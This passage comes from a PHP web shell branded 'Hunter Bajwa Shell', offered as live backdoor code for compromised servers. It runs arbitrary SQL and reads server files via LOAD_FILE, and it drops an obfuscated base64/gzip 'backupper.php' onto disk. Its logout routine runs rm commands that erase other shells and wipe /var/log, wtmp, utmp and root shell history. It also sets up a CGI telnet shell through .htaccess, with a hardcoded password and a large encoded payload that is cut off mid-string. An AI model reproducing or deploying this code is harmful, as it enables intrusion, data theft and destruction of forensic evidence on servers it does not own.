802 echo "<tr><td width=1 style='border-top:1px solid #a3e956;border-right:2px solid #a3e956;'><span>Tables:</span><br><br>";
803 $tbls_res = $db->listTables();
804 while($item = $db->fetch($tbls_res)) {
805 list($key, $value) = each($item);
806 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
807 $value = htmlspecialchars($value);
808 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
809 }
810 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:1px solid #a3e956;'>";
811 if(@$_POST['p1'] == 'select') {
812 $_POST['p1'] = 'query';
813 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
814 $num = $db->fetch();
815 $num = $num['n'];
816 echo "<span>".$_POST['p2']."</span> ($num) ";
817 for($i=0;$i<($num/30);$i++)
818 if($i != (int)$_POST['p3'])
819 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
820 else
821 echo ($i+1)," ";
822 if($_POST['type']=='pgsql')
823 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
824 else
825 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
826 echo "<br><br>";
827 }
828 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
829 $db->query(@$_POST['p3']);
830 if($db->res !== false) {
831 $title = false;
832 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
833 $line = 1;
834 while($item = $db->fetch()) {
835 if(!$title) {
836 echo '<tr>';
837 foreach($item as $key => $value)
838 echo '<th>'.$key.'</th>';
839 reset($item);
840 $title=true;
841 echo '</tr><tr>';
842 $line = 2;
843 }
844 echo '<tr class="l'.$line.'">';
845 $line = $line==1?2:1;
846 foreach($item as $key => $value) {
847 if($value == null)
848 echo '<td><i>null</i></td>';
849 else
850 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
851 }
852 echo '</tr>';
853 }
854 echo '</table>';
855 } else {
856 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
857 }
858 }
859 echo "<br><textarea name='p3' style='background-color:black; color: white;width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
860 echo "</td></tr>";
861 }
862 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
863 if(@$_POST['p1'] == 'loadfile') {
864 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
865 $file = $db->fetch();
866 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
867 }
868 }
869 echo '</div>';
870 printFooter();
871}
872
873
874function actionBackupper() {
875 printHeader();
876 $backupper = "rVXdTtswFL4uEu/gSVmTSpAWxsVEVMGmMXEHot0mxFDkOk7j4diZf4Ay8Qq72c3uuNkD8gizY6dNq1bjYqnUxN/5zjmfz4lPulQlE57NgFQziofd75obAKKbqeCaZbuIUy4OwYQaKPGLu4IonICcM7Wbw5LQ2SFAWkhy26CSPOBDsLc/eJ24iN2pSra3uiYZwkxhsViXWEGACigkVj79p/HH3berfsUb+3zJNfgCGYNgpKBQYFxg8N5I0xU4y+vVyGgDR8C69J2P8z+qimp7CwvBRSpwxYUibBoNesZ8tGDlXJQAIkU482LcPzAyC5557PxsNG7r61hXwiqtgJpVTRWlnpREeX8Gy7X4LaS6MVzqc4+2m/GSom9qWLsZg3kzQH+x4b7d8WqVOrlmdQ3AOzZgUUBYD/wwMDBXwM0uhyAMEw+QPGroKb4nUskoxPcYhb2Fk72OLWhj7dgQvaRl8jGPv3HCIqfxK3P3ZfIjphKvS1hBKVUh9GpSPkmlfVGipXzHDb3e2holxm2KVYoohiz6d3Y5kwqXL8ztyP8rc4EpTdeV28dbEJYyNgGJNIdBci0QjoLc9qDiFa5bvuMaINyttz58+4y0d2PeVoqjV8c55rkJ3Ou1bHP3eAhygWFmCDt7g/2DpXpUiHJpRS00+7vASgtWh7AmA5t/kgOzGTNDoiC1x/MqdMcsvPbCO4G0k2EIgnR0cvH55OIqPB2Pz9NTQw6vk5pRQVUYhmkAustc9TsBlJktTG2Mw37oUArtb1O4OIwfSOWpiJclZNm8WigDcZwYO6j0hBKUFqqkSXnbXlp3T49r4bFfGNxSG5OT4Y1z1Er2mM3WTkPlOtaigZ3AvA+a2t66s+/Vu2JgVHAQ1uP4wA6ND5xh8Pz059fz0++fbuTWuH2c1EM+XPGDwByJ6XzUp2ZOsZvNU0/gbMPM8z6FwPkw9JsJm9yNujtGOcxWhPXhXNjj0vDvr36b+vbLaJd/AQ==";
877 $back = @fopen("backupper.php", "w");
878 @fwrite($back, htmlspecialchars_decode(gzinflate(base64_decode($backupper))));
879 @fclose($back);
880 ?>
881 <center>
882 <h1>Site Backupper By Hunter Bajwa</h1><br>
883 <iframe src="backupper.php" height="300" width="100%"></iframe>
884
885 <?php
886
887 printFooter();
888}
889
890function actionLogout() {
891 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
892 $hardfucker = "rm -rv locales.php;rm -rv cgi.php;rm -rv dirty;rm -rv exploit;rm -rv kill;rm -rv c0w;rm -rv article.php;rm -rv an0n.php;rm -rv anonghosts.php;rm -rv anonghost.php;rm -rv wso.php;rm -rv umar.php;rm -rv ninja.php;rm -rv rev.php;rm -rv umar.txt;rm -rv ak.php;rm -rv symlinker.php;rm -rv trjnx;rm -rv sym.pl;rm -rv symlinker.pl;rm -rv back_connecter.php;rm -rv fuck.php;rm -rv an.php;rm -rv file.php;rm -rv sym.php;rm -rv symlink.php;rm -rv trjnx;rm -rv data.txt;rm -rv fuck.txt;rm -rv dir.txt;rm -rv dmn.txt;rm -rv lala.php;rm -rv test.php;rm -rv data.php;rm -rv fucker.php;rm -rv symlinker.php;rm -rv madleets.php;rm -rv dirdefacer.php;rm -rv dirdeface.php;rm -rv shitchanger.php;rm -rv locales.php;rm -rv data.php;rm -rv db.php;rm -rv deleter.php; rm -rv dhanush.php;rm -rv anonghosts.php;rm -rv blackhat.php;rm -rv image.php;rm -rv madspot.php;rm -rv pcd.php;rm -rv cheta.php;rm -rv b374k.php;rm -rv joker.php;rm -rv zone-h.php;rm -rv rooter.pl;rm -rv cp.php;rm -rv works.php;rm -rv lala.php;rm -rv lalala.php;rm -rv testing.php; rm -rv madleets.php;rm -rv anoncmd.php;rm -rv mass.php;rm -rv backupper.php;rm -rf /var/log/lastlog;rm -rf /var/log/wtmp;rm -rf /etc/wtmp;rm -rf /var/run/utmp;rm -rf /etc/utmp;rm -rf /var/log;rm -rf /var/logs;rm -rf /var/adm;rm -rf /var/apache/log;rm -rf /var/apache/logs;rm -rf /usr/local/apache/log;rm -rf /usr/local/apache/logs;rm -rf /root/.bash_history;rm -rf /root/.ksh_history;rm -rv xcp.php;rm -rv cp.php;rm -rv md5.php;rm -rv UeXploiT;rm -rv AkDk";
893 $An0n_3xPloiTeR_Every_Where_vvv = ex($hardfucker);
894 die('<!DOCTYPE html>
895<html>
896 <head>
897 <title>Hunter Bajwa Shell</title>
898 <meta charset="UTF-8">
899 <meta http-equiv="refresh" content=""> <!-- For Refreshing after ____ interval of time -->
900 <meta name="description" content="Sites description">
901 <meta name="about" content="Made By Hunter Bajwa">
902 <meta name="description" content="Bye Bye">
903 <style>
904 .body {
905 margin-top: 7vh;
906 text-transform: capitalize;
907 background-color: #080510;
908 }
909 .font {
910 font-family: calibri;
911 font-size: 300%;
912 text-align: center;
913 color: white;
914 }
915 .upass {
916 margin-top: 70vh;
917 font-family: calibri;
918 font-size: 100%;
919 text-align: center;
920 color: black;
921 }
922 textarea {
923 color: white;
924 font-weight: bold;
925 font-family: cursive;
926 border-left: black;
927 border-right: black;
928 border-style: groove;
929 background-color: black;
930 font-size: 80%;
931 }
932 </style>
933 <script language="JavaScript1.2">
934 function ejs_nodroit(){
935 alert("Login Please!");
936 return(false);
937 }
938 document.oncontextmenu = ejs_nodroit;
939 </script>
940 </head>
941
942 <body class="body">
943 <div class="font">
944 <font>you are going 😒ðŸ˜<br>bye 😣😖😌😰<br><br></font><font style="color: red; font-family: cursive; font-size: 70%;">Take a Gift 😉🤓<br></font><br>
945 </div><center>
946 <textarea rows="10" cols="90">
947 '.$An0n_3xPloiTeR_Every_Where_vvv.'</textarea>
948 </body></center>
949</html>');
950}
951
952
953function actionCgiShell() {
954printHeader();
955 echo '<h1>Cgitelnet</h1><div class=content><br><center>Password: umar</center><br>';
956 $kokdosya = ".htaccess";
957 mkdir('An0ncgi', 0755);
958 chdir('An0ncgi');
959 $dosya_adi = "$kokdosya";
960 $dosya = fopen($dosya_adi, 'w') or die("Dosya açılamadı!");
961 $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
962 AddType application/x-httpd-cgi .cin
963 AddHandler cgi-script .cin
964 AddHandler cgi-script .cin";
965 fwrite($dosya, $metin);
966 fclose($dosya);
967 $cgishellizocin = '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